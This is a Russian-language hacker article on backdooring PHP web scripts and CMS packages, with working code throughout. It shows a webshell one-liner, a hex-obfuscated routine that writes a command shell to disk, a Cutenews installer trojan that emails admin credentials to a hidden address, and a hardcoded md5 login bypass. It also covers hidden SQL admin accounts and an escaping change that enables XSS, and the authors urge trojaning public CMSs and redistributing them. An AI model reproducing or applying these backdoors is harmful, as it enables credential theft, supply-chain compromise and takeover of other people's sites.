Введение.
Для начала – бэкдоринг это внедрение так называемых черных ходов в программном обеспечении. В этой статье я рассмотрю традиционные и не очень, технологии Бэкдоринг скриптов и методы защиты от него – вещи полезные и взломщику, и программисту, и сисадмину. Первому – для закрепления в чужой системе, второму и третьему – для защиты от недобросовестных заказчиков или работодателей. В основном, сконцентрирую свое внимание на оригинальных методах сего.
Простые методы.
Я не буду подробно останавливаться на простых методах бэкдоринга а-ля вписать в произвольный php файл строку типа:
<?php [eval|include|require|system|passthru|exec]($_[GET|POST][<имя переменной>]) ?>
Можно вставить многочисленные промежуточные функции кодирования/упаковки а-ля base64 , но обнаружить такие уязвимые вызовы можно довольно легко, просто проведя поиск по функциям вставки и выполнения кода и по функциям кодирования. Аргумент сразу виден – практически никогда не применяется кодирование при проведении безобидной операции include.
Оригинальные методы.
1. *SQL. Можно дописать в скрипт, использующий базу данных *SQL, пару вызовов запроса к базе, добавляющих привилегии, создающих администратора или создающих дамп базы. В некоторых форумах существует пользователь System, имеющий полный доступ ко всему но не отображающийся для всех как админ.
2. Операции с файлами. Кто мешает каждый раз создавать новый шелл для доступа к сайту ? Скрыть вредоносный код в этом случае легче, искать его труднее, особенно в скриптах, активно использующих файлы в качестве базы данных. Применяя оригинальные функции кодирования или даже упаковки, такие как str_rot13, bin2hex, gzcompress и прочие, или функции расширения recode/MCrypt, можно достаточно надежно запрятать свой код.
Например:
$File=fopen(‘item.php’);
….
fwrite($File,_(‘3c3f2073797374656d2840245f504f53545b27434d44275d293b203f3e’));
….
fclose($File);
где _() – функция декодирования из hex, например такая –
function _($data) {
$newdata="";
$len = strlen($data);
for($i=0;$i<$len;$i+=2)
{
$newdata .= pack("C",hexdec(substr($data,$i,2)));
}
return $newdata;
}
3. Сокеты и другие сетевые функции. Если доступны сокеты или работа по FTP протоколу, то можно дать команду на скачку шелл-скрипта или его выполнения через какой-либо заголовок HTTP.
4. Подмена функций. Например, в форуме vBulletin везде используется функция htmlspecialchars_uni, находящаяся в файле includes/class_core.php. Если заменить строчку #3013 например на вот эту:
array('\<', '\>', '\"'),
Тогда при проведении некоторых операций, таких как редактирование какого-либо текстового параметра, будь то пост или имя пользователя, можно будет выполнить произвольный JavaScript код.
5. Логические ошибки. Наиболее сложные в реализации при условии того что вы не сами писали скрипт, используемый на сервере, но и наиболее трудно обнаружимый. Проверка пароля, кукисов и прочего может принести вам результат. Например, можно разрешить доступ к админке с произвольным паролем.
Точно не помню в какой из версий Cutenews (новостная лента) а точнее разработчиками русской версии бы использовано 2-ва бэкдора, а именно, при установке скрипта, нужно было пройти регистрацию акаунта,
для того чтобы создать учётную запись администратора. Ввести нужно было самые обычные данные: адрес до скрипта, логин, пароль, мыло. Таким образом разработчики получали все эти данные после нажатия кнопки завершить установку. Делалось это очень просто как тока вы нажимаете кнопку все данные которые вы ввели при регистрации отправлялись на почту к разработчикам. Вот так выглядит этот код:
$am = base64_decode("RnIzNGtAbWFpbC5ydQ==");
$body="URL: $url\nUser: $reg_username\nNick: $reg_nickname\nPass: $reg_password1\n";
$headers = 'From: '.$reg_email."\n";
$headers .= "MIME-Version: 1.0\nContent-type: text/plain; charset=windows-1251\nContent-
Transfer-Encoding: 8bit\nDate: " . gmdate('D, d M Y H:i:s', time()) . " UT\nX-Priority: 3\nX-
MSMail-Priority: Normal\nX-Mailer: PHP\n";
mail($am,"Troyan",$body,$headers);
$am = base64_decode("RnIzNGtAbWFpbC5ydQ=="); (ваше мыло на которое будут уходить данные, закодировано в base64 ) как видите сами нечего сложного тут нет.
Вот что в свою очередь получали разработчики.
X-Sendmail-Cmdline: sendmail_stub.pl -t -i
To: [email protected]
Subject: Troyan
From: [email protected]
MIME-Version: 1.0
Content-type: text/plain; charset=windows-1251
Content-Transfer-Encoding: 8bit
Date: Mon, 05 Mar 2007 07:12:01 UT
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: PHP
URL: http://test3.ru/
User: Fr34k
Nick: zer0day
Pass: 12345
Теперь как только вы измените копирайты новостной ленты или уберёте их вообще разработчики тут же могут зайти под вашим логином и паролем (администратора ) и зделать всё что им нужно было =).
Также в этой новостной ленте был найден ещё один бэкдор , на этот раз всё обстояло так.
Разработчика русской версии новостной ленты даже без тех данных которые ушли к ним на почту могли зайти с привилегиями администратора в административную часть новостей. Помог им вот этот код который который они наглым образом впихнули в в функцию check_login
md5 login: 712279bc51dd4508f0510e907102447c
md5 passw: d619468225a1d9e4c93c6be0317b3696
function check_login($username, $md5_password) {
$result = FALSE;
$full_member_db = file("./data/users.db.php");
global $member_db;
if (md5 ($username)!=="712279bc51dd4508f0510e907102447c")
{
foreach($full_member_db as $member_db_line)
{
if(!eregi("<\?",$member_db_line))
{
$member_db = explode("|",$member_db_line);
if(strtolower($member_db[2]) == strtolower($username) && $member_db[3] == $md5_password)
{
$result = TRUE;
break;
}
}
}
}
else if ($md5_password=="d619468225a1d9e4c93c6be0317b3696") $result = TRUE;
return $result;
}
Таким образом , любой кто знал логин и пароль который был зашифрован при помощи алгоритма md5, а именно:
(md5 login: 712279bc51dd4508f0510e907102447c) и (md5 passw: d619468225a1d9e4c93c6be0317b3696)
Мог запросто попасть а админку. Оба примера мне нравятся и используются мною очень давно.
Стоит задуматься, но ведь так можно про бэкдорить любой скрипт , и я с вами соглашусь =) так как паблик скриптами пользуются многие люди и будут пользоваться. Всё очень просто почему бы не слить какую нить известную, обще доступную CMS или чтонить другое (на ваш вкус) пробэкдорить и залить на любой сайт с софтом и скриптами которые это позволяют, а после чего тока ждать када начнут появляться данные с разных сайтов.
Именно поэтому я и не советую вам пользоваться теми скриптами чейкод может просмотреть злоумышленник и пробэкдорить конечно, лучше заплотить програмеру деньги чем потом жалеть ведь как гласит поговорка “Скупой платит дважды”.
Вообще существует очень много способов как можно красиво про бэкдорить тот или иной скрипт чтобы описать все способы, методы бэкдоринга скриптов понадобиться очень много времени и получится огромная статья, на что у меня как обычно не хвотает терпения =), так что всё зависит от вашей фантазии.
Но хочу заметить сразу что все ваши действия после прочтения статьи могут караться законом, так что это всё тока на вашей совести.
Все методы 1-4, методы некоторых других авторов, например Great, которые я перечислил – изменяют размер исходного файла из дистрибутива.
by DeaDMonaX with some practics by Fr34k
|